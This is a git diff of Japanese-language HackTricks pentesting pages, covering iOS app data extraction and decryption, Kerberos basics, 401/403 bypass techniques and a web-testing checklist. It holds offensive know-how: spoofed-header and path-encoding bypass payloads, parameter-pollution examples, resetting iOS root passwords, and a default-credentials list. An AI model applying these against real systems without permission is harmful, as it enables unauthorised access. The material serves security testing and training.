$ iproxy 2222 22
|
||||||
$ ssh -p 2222 root@localhost
|
$ ssh -p 2222 root@localhost
|
||||||
@ -42,13 +42,13 @@ $ ssh -p 2222 root@localhost
|
|||||||
|
|
||||||
### **忘れたパスワードのリセット**
|
### **忘れたパスワードのリセット**
|
||||||
|
|
||||||
忘れたパスワードをデフォルトの (`alpine`) にリセットするには、`/private/etc/master.passwd` ファイルを編集する必要があります。これには、既存のハッシュを `root` と `mobile` ユーザーエントリの隣にある `alpine` のハッシュに置き換えることが含まれます。
|
忘れたパスワードをデフォルト(`alpine`)にリセットするには、`/private/etc/master.passwd` ファイルを編集する必要があります。これには、既存のハッシュを `root` と `mobile` ユーザーエントリの隣にある `alpine` のハッシュに置き換えることが含まれます。
|
||||||
|
|
||||||
## **データ転送技術**
|
## **データ転送技術**
|
||||||
|
|
||||||
### **アプリデータファイルの転送**
|
### **アプリデータファイルの転送**
|
||||||
|
|
||||||
**SSHとSCPを介したアーカイブと取得:** `tar` を使用してアプリケーションのデータディレクトリをアーカイブし、その後 `scp` を使用して転送するのは簡単です。以下のコマンドは、データディレクトリを .tgz ファイルにアーカイブし、その後デバイスからプルします:
|
**SSHとSCPによるアーカイブと取得:** `tar` を使用してアプリケーションのデータディレクトリをアーカイブし、その後 `scp` を使用して転送するのは簡単です。以下のコマンドは、データディレクトリを .tgz ファイルにアーカイブし、その後デバイスからプルします:
|
||||||
```bash
|
```bash
|
||||||
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
|
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
|
||||||
exit
|
exit
|
||||||
@ -58,9 +58,9 @@ scp -P 2222 root@localhost:/tmp/data.tgz .
|
|||||||
|
|
||||||
**iFunboxとiExplorerの使用:** これらのGUIツールは、iOSデバイス上のファイルを管理するのに便利です。しかし、iOS 8.4以降、Appleはデバイスが脱獄されていない限り、これらのツールのアプリケーションサンドボックスへのアクセスを制限しました。
|
**iFunboxとiExplorerの使用:** これらのGUIツールは、iOSデバイス上のファイルを管理するのに便利です。しかし、iOS 8.4以降、Appleはデバイスが脱獄されていない限り、これらのツールのアプリケーションサンドボックスへのアクセスを制限しました。
|
||||||
|
|
||||||
### **ファイル管理のためのObjectionの使用**
|
### **Objectionを使用したファイル管理**
|
||||||
|
|
||||||
**Objectionによるインタラクティブシェル:** Objectionを起動すると、アプリのBundleディレクトリにアクセスできます。ここから、アプリのDocumentsディレクトリに移動し、ファイルを管理したり、iOSデバイスとの間でファイルをダウンロードおよびアップロードしたりできます。
|
**Objectionによるインタラクティブシェル:** objectionを起動すると、アプリのBundleディレクトリにアクセスできます。ここから、アプリのDocumentsディレクトリに移動し、ファイルを管理したり、iOSデバイスへのダウンロードやアップロードを行ったりできます。
|
||||||
```bash
|
```bash
|
||||||
objection --gadget com.apple.mobilesafari explorer
|
objection --gadget com.apple.mobilesafari explorer
|
||||||
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
||||||
@ -70,7 +70,7 @@ file download <filename>
|
|||||||
|
|
||||||
### **IPAファイルの取得**
|
### **IPAファイルの取得**
|
||||||
|
|
||||||
**オーバー・ザ・エア (OTA) 配信リンク:** OTAを介してテスト用に配布されたアプリは、npmを介してインストールされるITMSサービスアセットダウンローダーツールを使用してダウンロードでき、IPAファイルをローカルに保存します。
|
**オーバー・ザ・エア (OTA) 配信リンク:** テスト用にOTAで配信されたアプリは、npmを介してインストールされるITMSサービスアセットダウンローダーツールを使用してダウンロードでき、IPAファイルをローカルに保存します。
|
||||||
```bash
|
```bash
|
||||||
npm install -g itms-services
|
npm install -g itms-services
|
||||||
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
|
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
|
||||||
@ -99,7 +99,7 @@ dump memory dump.bin 0x8000 0x10a4000
|
|||||||
```
|
```
|
||||||
**暗号化セクションの上書き:**
|
**暗号化セクションの上書き:**
|
||||||
|
|
||||||
元のアプリバイナリの暗号化セクションを復号化されたダンプで置き換えます。
|
元のアプリバイナリの暗号化されたセクションを復号化されたダンプで置き換えます。
|
||||||
```bash
|
```bash
|
||||||
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
|
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
|
||||||
```
|
```
|
||||||
@ -109,7 +109,7 @@ dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
|
|||||||
|
|
||||||
#### **frida-ios-dump**
|
#### **frida-ios-dump**
|
||||||
|
|
||||||
[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump)ツールは、iOSデバイスから**自動的にアプリを復号および抽出する**ために使用されます。最初に、`dump.py`を設定してiOSデバイスに接続する必要があり、これは**iproxy**を介してローカルホストのポート2222を使用するか、デバイスのIPアドレスとポートを介して直接行うことができます。
|
[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump)ツールは、iOSデバイスから**自動的にアプリを復号化して抽出する**ために使用されます。最初に、`dump.py`を設定してiOSデバイスに接続する必要があり、これは**iproxy**を介してローカルホストのポート2222を使用するか、デバイスのIPアドレスとポートを直接使用して行うことができます。
|
||||||
|
|
||||||
デバイスにインストールされているアプリケーションは、次のコマンドでリストできます:
|
デバイスにインストールされているアプリケーションは、次のコマンドでリストできます:
|
||||||
```bash
|
```bash
|
||||||
@ -146,7 +146,7 @@ bagbak --raw Chrome
|
|||||||
|
|
||||||
#### **サイドロードツール**
|
#### **サイドロードツール**
|
||||||
|
|
||||||
- **Cydia Impactor**: iOSのIPAファイルやAndroidのAPKファイルを署名してインストールするためのツールです。ガイドやトラブルシューティングは[yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/)で見つけることができます。
|
- **Cydia Impactor**: iOS用のIPAファイルとAndroid用のAPKファイルを署名してインストールするためのツールです。ガイドとトラブルシューティングは[yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/)で見つけることができます。
|
||||||
|
|
||||||
- **libimobiledevice**: iOSデバイスと通信するためのLinuxおよびmacOS用のライブラリです。USB経由でアプリをインストールするためのideviceinstallerのインストールコマンドと使用例が提供されています。
|
- **libimobiledevice**: iOSデバイスと通信するためのLinuxおよびmacOS用のライブラリです。USB経由でアプリをインストールするためのideviceinstallerのインストールコマンドと使用例が提供されています。
|
||||||
|
|
||||||
@ -164,7 +164,7 @@ iPhoneやiPod touchデバイスにiPad専用アプリケーションをインス
|
|||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
|
- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/index.html)
|
||||||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
|
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
|
||||||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
|
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
|
||||||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
|
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
|
||||||
|
@ -4,18 +4,18 @@
|
|||||||
|
|
||||||
## 基本情報
|
## 基本情報
|
||||||
|
|
||||||
**Kerberos**は、ユーザーのリソースへのアクセスを直接管理することなく認証を行う原則に基づいています。これは、プロトコルのセキュリティフレームワークにおける役割を強調する重要な違いです。
|
**Kerberos** は、ユーザーのリソースへのアクセスを直接管理することなく認証する原則に基づいて動作します。これは、プロトコルのセキュリティフレームワークにおける役割を強調する重要な違いです。
|
||||||
|
|
||||||
**Active Directory**のような環境では、**Kerberos**はユーザーの秘密のパスワードを検証することによってユーザーのアイデンティティを確立するのに重要な役割を果たします。このプロセスは、各ユーザーのアイデンティティがネットワークリソースと相互作用する前に確認されることを保証します。しかし、**Kerberos**は特定のリソースやサービスに対するユーザーの権限を評価または強制する機能を拡張しません。代わりに、ユーザーを認証するための安全な方法を提供し、これはセキュリティプロセスの重要な第一歩です。
|
**Active Directory** のような環境では、**Kerberos** はユーザーの秘密のパスワードを検証することによってユーザーのアイデンティティを確立するのに重要な役割を果たします。このプロセスは、各ユーザーのアイデンティティがネットワークリソースと相互作用する前に確認されることを保証します。しかし、**Kerberos** は特定のリソースやサービスに対するユーザーの権限を評価または強制する機能を拡張しません。代わりに、ユーザーを認証するための安全な方法を提供し、これはセキュリティプロセスの重要な第一歩です。
|
||||||
|
|
||||||
**Kerberos**による認証の後、リソースへのアクセスに関する意思決定プロセスは、ネットワーク内の個々のサービスに委任されます。これらのサービスは、**Kerberos**が提供するユーザーの特権に関する情報に基づいて、認証されたユーザーの権利と権限を評価する責任を負います。この設計により、ユーザーのアイデンティティを認証することとアクセス権を管理することの間に関心の分離が可能になり、分散ネットワークにおけるリソース管理に対してより柔軟で安全なアプローチを実現します。
|
**Kerberos** による認証の後、リソースへのアクセスに関する意思決定プロセスは、ネットワーク内の個々のサービスに委任されます。これらのサービスは、**Kerberos** が提供するユーザーの特権に関する情報に基づいて、認証されたユーザーの権利と権限を評価する責任を負います。この設計により、ユーザーのアイデンティティを認証することとアクセス権を管理することの間に関心の分離が可能になり、分散ネットワークにおけるリソース管理に対してより柔軟で安全なアプローチを実現します。
|
||||||
|
|
||||||
**デフォルトポート:** 88/tcp/udp
|
**デフォルトポート:** 88/tcp/udp
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
88/tcp open kerberos-sec
|
88/tcp open kerberos-sec
|
||||||
```
|
```
|
||||||
### **Kerberosを悪用する方法を学ぶには、** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**に関する投稿を読むべきです。**
|
### **Kerberosを悪用する方法を学ぶには、** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**に関する投稿を読むべきです。**
|
||||||
|
|
||||||
## もっと
|
## もっと
|
||||||
|
|
||||||
|
@ -4,17 +4,17 @@
|
|||||||
|
|
||||||
## HTTP 動詞/メソッドファジング
|
## HTTP 動詞/メソッドファジング
|
||||||
|
|
||||||
ファイルにアクセスするために **異なる動詞** を使用してみてください: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
|
ファイルにアクセスするために**異なる動詞**を試してみてください: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
|
||||||
|
|
||||||
- レスポンスヘッダーを確認してください。情報が提供されるかもしれません。例えば、**HEAD** に対する **200 レスポンス** が `Content-Length: 55` の場合、**HEAD 動詞が情報にアクセスできる**ことを意味します。しかし、その情報を抽出する方法を見つける必要があります。
|
- レスポンスヘッダーを確認してください。情報が得られるかもしれません。例えば、**HEAD**に対する**200レスポンス**が`Content-Length: 55`の場合、**HEAD動詞が情報にアクセスできる**ことを意味します。しかし、その情報を抽出する方法を見つける必要があります。
|
||||||
- `X-HTTP-Method-Override: PUT` のような HTTP ヘッダーを使用すると、使用される動詞を上書きできます。
|
- `X-HTTP-Method-Override: PUT`のようなHTTPヘッダーを使用すると、使用される動詞を上書きできます。
|
||||||
- **`TRACE`** 動詞を使用し、運が良ければレスポンスに **中間プロキシによって追加されたヘッダー** が表示されるかもしれません。
|
- **`TRACE`**動詞を使用し、運が良ければレスポンスに**中間プロキシによって追加されたヘッダー**が表示されるかもしれません。
|
||||||
|
|
||||||
## HTTP ヘッダーファジング
|
## HTTP ヘッダー ファジング
|
||||||
|
|
||||||
- **Host ヘッダーを** 任意の値に変更します ([ここで動作した](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
- **Hostヘッダーを**任意の値に変更します([ここで機能した](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||||||
- [**他のユーザーエージェントを使用して**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) リソースにアクセスしてみてください。
|
- [**他のユーザーエージェントを使用して**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt)リソースにアクセスしてみてください。
|
||||||
- **HTTP ヘッダーをファジング**: HTTP プロキシ **ヘッダー**、HTTP 認証の基本と NTLM ブルートフォース(いくつかの組み合わせのみ)やその他の技術を試してみてください。これを行うために、私はツール [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) を作成しました。
|
- **HTTPヘッダーをファジング**: HTTPプロキシ**ヘッダー**、HTTP認証ベーシックおよびNTLMブルートフォース(いくつかの組み合わせのみ)や他の技術を試してください。これを行うために、[**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass)というツールを作成しました。
|
||||||
|
|
||||||
- `X-Originating-IP: 127.0.0.1`
|
- `X-Originating-IP: 127.0.0.1`
|
||||||
- `X-Forwarded-For: 127.0.0.1`
|
- `X-Forwarded-For: 127.0.0.1`
|
||||||
@ -30,23 +30,23 @@
|
|||||||
- `X-ProxyUser-Ip: 127.0.0.1`
|
- `X-ProxyUser-Ip: 127.0.0.1`
|
||||||
- `Host: localhost`
|
- `Host: localhost`
|
||||||
|
|
||||||
もし **パスが保護されている** 場合、これらの他のヘッダーを使用してパス保護をバイパスしてみてください:
|
もし**パスが保護されている**場合、これらの他のヘッダーを使用してパス保護をバイパスしてみてください:
|
||||||
|
|
||||||
- `X-Original-URL: /admin/console`
|
- `X-Original-URL: /admin/console`
|
||||||
- `X-Rewrite-URL: /admin/console`
|
- `X-Rewrite-URL: /admin/console`
|
||||||
|
|
||||||
- ページが **プロキシの背後にある** 場合、プライベート情報へのアクセスを妨げているのはプロキシかもしれません。[**HTTP リクエストスムージング**](../../pentesting-web/http-request-smuggling/) **または** [**hop-by-hop ヘッダー**](../../pentesting-web/abusing-hop-by-hop-headers.md)**を悪用してみてください。**
|
- ページが**プロキシの背後にある**場合、プライベート情報へのアクセスを妨げているのはプロキシかもしれません。[**HTTPリクエストスムージング**](../../pentesting-web/http-request-smuggling/index.html) **または** [**hop-by-hopヘッダー**](../../pentesting-web/abusing-hop-by-hop-headers.md)**を悪用してみてください。**
|
||||||
- [**特別な HTTP ヘッダー**](special-http-headers.md) をファジングして異なるレスポンスを探してください。
|
- [**特別なHTTPヘッダー**](special-http-headers.md)をファジングして異なるレスポンスを探します。
|
||||||
- **HTTP メソッドをファジング** しながら **特別な HTTP ヘッダーをファジング** してください。
|
- **HTTPメソッドをファジング**しながら**特別なHTTPヘッダーをファジング**します。
|
||||||
- **Host ヘッダーを削除** すると、保護をバイパスできるかもしれません。
|
- **Hostヘッダーを削除**すると、保護をバイパスできるかもしれません。
|
||||||
|
|
||||||
## パス **ファジング**
|
## パス **ファジング**
|
||||||
|
|
||||||
もし _/path_ がブロックされている場合:
|
もし_/path_がブロックされている場合:
|
||||||
|
|
||||||
- _**/**_**%2e/path を使用してみてください _(アクセスがプロキシによってブロックされている場合、これが保護をバイパスする可能性があります)。また、**\_\*\* /%252e\*\*/path (二重 URL エンコード) を試してください。_
|
- _**/**_**%2e/pathを試してみてください(アクセスがプロキシによってブロックされている場合、これで保護をバイパスできるかもしれません)。また、**\_\*\* /%252e\*\*/path(ダブルURLエンコード)も試してください。**
|
||||||
- **Unicode バイパス** を試してください: _/**%ef%bc%8f**path_ (URL エンコードされた文字は "/" のようなものです) ので、再エンコードされると _//path_ になり、すでに _/path_ 名のチェックをバイパスしているかもしれません。
|
- **Unicodeバイパス**を試してください:_/**%ef%bc%8f**path_(URLエンコードされた文字は「/」のようなものです)ので、再エンコードされると_//path_になり、すでに_/path_の名前チェックをバイパスしているかもしれません。
|
||||||
- **他のパスバイパス**:
|
- **他のパスバイパス**:
|
||||||
- site.com/secret –> HTTP 403 Forbidden
|
- site.com/secret –> HTTP 403 Forbidden
|
||||||
- site.com/SECRET –> HTTP 200 OK
|
- site.com/SECRET –> HTTP 200 OK
|
||||||
- site.com/secret/ –> HTTP 200 OK
|
- site.com/secret/ –> HTTP 200 OK
|
||||||
@ -57,44 +57,44 @@
|
|||||||
- site.com/.;/secret –> HTTP 200 OK
|
- site.com/.;/secret –> HTTP 200 OK
|
||||||
- site.com//;//secret –> HTTP 200 OK
|
- site.com//;//secret –> HTTP 200 OK
|
||||||
- site.com/secret.json –> HTTP 200 OK (ruby)
|
- site.com/secret.json –> HTTP 200 OK (ruby)
|
||||||
- 次の状況で [**このリスト**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) を使用してください:
|
- 次の状況で[**このリスト**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt)を使用してください:
|
||||||
- /FUZZsecret
|
- /FUZZsecret
|
||||||
- /FUZZ/secret
|
- /FUZZ/secret
|
||||||
- /secretFUZZ
|
- /secretFUZZ
|
||||||
- **他の API バイパス:**
|
- **他のAPIバイパス:**
|
||||||
- /v3/users_data/1234 --> 403 Forbidden
|
- /v3/users_data/1234 --> 403 Forbidden
|
||||||
- /v1/users_data/1234 --> 200 OK
|
- /v1/users_data/1234 --> 200 OK
|
||||||
- {“id”:111} --> 401 Unauthorized
|
- {“id”:111} --> 401 Unauthorized
|
||||||
- {“id”:\[111]} --> 200 OK
|
- {“id”:\[111]} --> 200 OK
|
||||||
- {“id”:111} --> 401 Unauthorized
|
- {“id”:111} --> 401 Unauthorized
|
||||||
- {“id”:{“id”:111\}} --> 200 OK
|
- {“id”:{“id”:111\}} --> 200 OK
|
||||||
- {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (JSON パラメータ汚染)
|
- {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (JSONパラメータ汚染)
|
||||||
- user_id=ATTACKER_ID\&user_id=VICTIM_ID (パラメータ汚染)
|
- user_id=ATTACKER_ID\&user_id=VICTIM_ID (パラメータ汚染)
|
||||||
|
|
||||||
## **パラメータ操作**
|
## **パラメータ操作**
|
||||||
|
|
||||||
- **param 値を変更**: **`id=123` --> `id=124`**
|
- **パラメータ値を変更**: **`id=123` --> `id=124`**
|
||||||
- URL に追加のパラメータを追加: `?`**`id=124` —-> `id=124&isAdmin=true`**
|
- URLに追加のパラメータを追加: `?`**`id=124` —-> `id=124&isAdmin=true`**
|
||||||
- パラメータを削除
|
- パラメータを削除
|
||||||
- パラメータの順序を変更
|
- パラメータの順序を変更
|
||||||
- 特殊文字を使用
|
- 特殊文字を使用
|
||||||
- パラメータで境界テストを実施 — _-234_ や _0_ や _99999999_ のような値を提供します(いくつかの例値)。
|
- パラメータで境界テストを実施 — _-234_や_0_や_99999999_のような値を提供します(いくつかの例値)。
|
||||||
|
|
||||||
## **プロトコルバージョン**
|
## **プロトコルバージョン**
|
||||||
|
|
||||||
HTTP/1.1 を使用している場合は **1.0 を使用してみてください** または **2.0 をサポートしているかテストしてみてください**。
|
HTTP/1.1を使用している場合は、**1.0を使用してみてください**または**2.0をサポートしているかテストしてみてください**。
|
||||||
|
|
||||||
## **その他のバイパス**
|
## **その他のバイパス**
|
||||||
|
|
||||||
- ドメインの **IP** または **CNAME** を取得し、**直接連絡してみてください**。
|
- ドメインの**IP**または**CNAME**を取得し、**直接連絡してみてください**。
|
||||||
- 一般的な GET リクエストを送信して **サーバーにストレスをかけてみてください** ([この人が Facebook で成功した](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
- 一般的なGETリクエストを送信して**サーバーにストレスをかけてみてください**([この人がFacebookで成功した](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125))。
|
||||||
- **プロトコルを変更**: http から https へ、または https から http へ
|
- **プロトコルを変更**: httpからhttpsへ、またはhttpsからhttpへ。
|
||||||
- [**https://archive.org/web/**](https://archive.org/web/) にアクセスし、過去にそのファイルが **全世界にアクセス可能だったかどうかを確認してください**。
|
- [**https://archive.org/web/**](https://archive.org/web/)にアクセスし、過去にそのファイルが**全世界にアクセス可能だったかどうかを確認してください**。
|
||||||
|
|
||||||
## **ブルートフォース**
|
## **ブルートフォース**
|
||||||
|
|
||||||
- **パスワードを推測**: 次の一般的な資格情報をテストします。被害者について何か知っていますか?または CTF チャレンジ名は?
|
- **パスワードを推測**: 次の一般的な認証情報をテストします。被害者について何か知っていますか?またはCTFチャレンジ名は?
|
||||||
- [**ブルートフォース**](../../generic-hacking/brute-force.md#http-brute)**:** 基本、ダイジェスト、NTLM 認証を試してください。
|
- [**ブルートフォース**](../../generic-hacking/brute-force.md#http-brute)**:** 基本、ダイジェスト、NTLM認証を試してください。
|
||||||
```:Common creds
|
```:Common creds
|
||||||
admin admin
|
admin admin
|
||||||
admin password
|
admin password
|
||||||
@ -114,4 +114,5 @@ guest guest
|
|||||||
- [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
|
- [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
|
||||||
- [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
|
- [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -29,16 +29,16 @@ web-api-pentesting.md
|
|||||||
|
|
||||||
- [ ] **技術**を**特定**することから始めます。ウェブサーバーによって使用されている**技術**を特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。
|
- [ ] **技術**を**特定**することから始めます。ウェブサーバーによって使用されている**技術**を特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。
|
||||||
- [ ] 技術のバージョンに**既知の脆弱性**はありますか?
|
- [ ] 技術のバージョンに**既知の脆弱性**はありますか?
|
||||||
- [ ] **よく知られた技術**を使用していますか?より多くの情報を抽出するための**有用なトリック**はありますか?
|
- [ ] **よく知られた技術**を使用していますか?より多くの情報を抽出するための**便利なトリック**はありますか?
|
||||||
- [ ] 実行するための**専門のスキャナー**はありますか(例えば、wpscan)?
|
- [ ] 実行するための**専門のスキャナー**はありますか(例えば、wpscan)?
|
||||||
- [ ] **一般的なスキャナー**を起動します。何かを見つけるか、興味深い情報を見つけるかはわかりません。
|
- [ ] **一般的なスキャナー**を起動します。何かを見つけるか、興味深い情報を見つけるかはわかりません。
|
||||||
- [ ] **初期チェック**を開始します:**robots**、**sitemap**、**404**エラー、**SSL/TLSスキャン**(HTTPSの場合)。
|
- [ ] **初期チェック**を開始します:**robots**、**sitemap**、**404**エラー、**SSL/TLSスキャン**(HTTPSの場合)。
|
||||||
- [ ] ウェブページの**スパイダー**を開始します:すべての可能な**ファイル、フォルダー**、および**使用されているパラメーター**を**見つける**時間です。また、**特別な発見**を確認します。
|
- [ ] ウェブページの**スパイダー**を開始します:すべての可能な**ファイル、フォルダー**、および**使用されているパラメータ**を**見つける**時間です。また、**特別な発見**を確認します。
|
||||||
- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずスパイダーする必要があります。_
|
- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずスパイダーする必要があります。_
|
||||||
- [ ] **ディレクトリブルートフォース**:発見されたすべてのフォルダーをブルートフォースして、新しい**ファイル**や**ディレクトリ**を探します。
|
- [ ] **ディレクトリブルートフォース**:発見されたすべてのフォルダーをブルートフォースして、新しい**ファイル**や**ディレクトリ**を探します。
|
||||||
- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずブルートフォースする必要があります。_
|
- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずブルートフォースする必要があります。_
|
||||||
- [ ] **バックアップの確認**:一般的なバックアップ拡張子を追加して、**発見されたファイル**の**バックアップ**を見つけられるかテストします。
|
- [ ] **バックアップの確認**:一般的なバックアップ拡張子を追加して、**発見されたファイル**の**バックアップ**を見つけられるかテストします。
|
||||||
- [ ] **パラメーターのブルートフォース**:**隠れたパラメーター**を**見つける**ことを試みます。
|
- [ ] **パラメータのブルートフォース**:**隠れたパラメータ**を**見つける**ことを試みます。
|
||||||
- [ ] **ユーザー入力**を受け入れるすべての可能な**エンドポイント**を**特定**したら、それに関連するすべての種類の**脆弱性**を確認します。
|
- [ ] **ユーザー入力**を受け入れるすべての可能な**エンドポイント**を**特定**したら、それに関連するすべての種類の**脆弱性**を確認します。
|
||||||
- [ ] [このチェックリストに従ってください](../../pentesting-web/web-vulnerabilities-methodology.md)
|
- [ ] [このチェックリストに従ってください](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||||
|
|
||||||
@ -47,31 +47,31 @@ web-api-pentesting.md
|
|||||||
### Identify
|
### Identify
|
||||||
|
|
||||||
実行中のサーバー**バージョン**に**既知の脆弱性**があるか確認します。\
|
実行中のサーバー**バージョン**に**既知の脆弱性**があるか確認します。\
|
||||||
**HTTPヘッダーとレスポンスのクッキー**は、使用されている**技術**や**バージョン**を**特定**するのに非常に役立ちます。**Nmapスキャン**はサーバーバージョンを特定できますが、[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、** [**webtech** ](https://github.com/ShielderSec/webtech)または [**https://builtwith.com/**](https://builtwith.com)**のツールも役立つかもしれません:
|
**HTTPヘッダーとレスポンスのクッキー**は、使用されている**技術**や**バージョン**を**特定**するのに非常に役立ちます。**Nmapスキャン**はサーバーバージョンを特定できますが、ツール[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、**[**webtech**](https://github.com/ShielderSec/webtech)または[**https://builtwith.com/**](https://builtwith.com)**も役立ちます:
|
||||||
```bash
|
```bash
|
||||||
whatweb -a 1 <URL> #Stealthy
|
whatweb -a 1 <URL> #Stealthy
|
||||||
whatweb -a 3 <URL> #Aggresive
|
whatweb -a 3 <URL> #Aggresive
|
||||||
webtech -u <URL>
|
webtech -u <URL>
|
||||||
webanalyze -host https://google.com -crawl 2
|
webanalyze -host https://google.com -crawl 2
|
||||||
```
|
```
|
||||||
検索 **for** [**ウェブアプリケーションの** **バージョン** **の脆弱性**](../../generic-hacking/search-exploits.md)
|
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
|
||||||
|
|
||||||
### **WAFがあるか確認する**
|
### **Check if any WAF**
|
||||||
|
|
||||||
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
|
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
|
||||||
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||||
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
||||||
|
|
||||||
### ウェブ技術のトリック
|
### Web tech tricks
|
||||||
|
|
||||||
異なるよく知られた **技術** の **脆弱性** を見つけるための **トリック**:
|
異なるよく知られた**技術**での**脆弱性**を見つけるための**トリック**:
|
||||||
|
|
||||||
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||||
- [**Apache**](apache.md)
|
- [**Apache**](apache.md)
|
||||||
- [**Artifactory**](artifactory-hacking-guide.md)
|
- [**Artifactory**](artifactory-hacking-guide.md)
|
||||||
- [**Buckets**](buckets/)
|
- [**Buckets**](buckets/index.html)
|
||||||
- [**CGI**](cgi.md)
|
- [**CGI**](cgi.md)
|
||||||
- [**Drupal**](drupal/)
|
- [**Drupal**](drupal/index.html)
|
||||||
- [**Flask**](flask.md)
|
- [**Flask**](flask.md)
|
||||||
- [**Git**](git.md)
|
- [**Git**](git.md)
|
||||||
- [**Golang**](golang.md)
|
- [**Golang**](golang.md)
|
||||||
@ -86,39 +86,39 @@ webanalyze -host https://google.com -crawl 2
|
|||||||
- [**Laravel**](laravel.md)
|
- [**Laravel**](laravel.md)
|
||||||
- [**Moodle**](moodle.md)
|
- [**Moodle**](moodle.md)
|
||||||
- [**Nginx**](nginx.md)
|
- [**Nginx**](nginx.md)
|
||||||
- [**PHP (phpには悪用できる興味深いトリックがたくさんあります)**](php-tricks-esp/)
|
- [**PHP (phpには悪用できる興味深いトリックがたくさんあります)**](php-tricks-esp/index.html)
|
||||||
- [**Python**](python.md)
|
- [**Python**](python.md)
|
||||||
- [**Spring Actuators**](spring-actuators.md)
|
- [**Spring Actuators**](spring-actuators.md)
|
||||||
- [**Symphony**](symphony.md)
|
- [**Symphony**](symphony.md)
|
||||||
